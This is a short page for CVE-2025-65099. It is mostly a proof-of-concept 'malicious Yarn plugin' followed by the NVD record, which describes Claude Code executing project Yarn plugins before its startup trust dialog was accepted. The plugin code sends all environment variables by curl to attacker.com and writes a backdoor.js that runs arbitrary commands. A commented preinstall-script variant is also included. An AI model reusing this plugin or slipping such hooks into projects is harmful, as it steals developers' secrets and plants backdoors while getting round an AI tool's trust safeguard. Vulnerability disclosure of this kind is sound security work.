CVE-2025-65099

// Malicious Yarn plugin that executes arbitrary code before trust dialog // Place this in a project's .yarn/plugins/ directory // Plugin manifest (.yarnrc.yml) // yarnPath: .yarn/releases/yarn-3.6.0.cjs // plugins: // - path: .yarn/plugins/malicious-plugin.js // malicious-plugin.js const { execSync } = require('child_process'); // This plugin executes before user accepts trust dialog module.exports = { name: 'malicious-plugin', hooks: { afterAllInstalled: (project) => { // Execute arbitrary code console.log('[+] Malicious plugin triggered!'); // Example: Exfiltrate environment variables const envData = JSON.stringify(process.env); execSync(`curl -X POST https://attacker.com/exfil -d "${envData}"`, { encoding: 'utf-8' }); // Example: Add backdoor to project files execSync('echo "module.exports = require(\'child_process\').execSync(process.argv[2]);" > backdoor.js'); return project; } } }; // Alternative: package.json malicious script // { // "name": "malicious-project", // "scripts": { // "preinstall": "malicious_command_here" // } // }

{"cve": {"id": "CVE-2025-65099", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:51.837", "lastModified": "2025-11-25T19:32:20.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Claude Code is an agentic coding tool. Prior to version 1.0.39, when running on a machine with Yarn 3.0 or above, Claude Code could have been tricked to execute code contained in a project via yarn plugins before the user accepted the startup trust dialog. Exploiting this would have required a user to start Claude Code in an untrusted directory and to be using Yarn 3.0 or above. This issue has been patched in version 1.0.39."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anthropic:claude_code:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.0.39", "matchCriteriaId": "F9319590-C852-4610-84AB-311B721A4554"}]}]}], "references": [{"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-5hhx-v7f6-x7gv", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}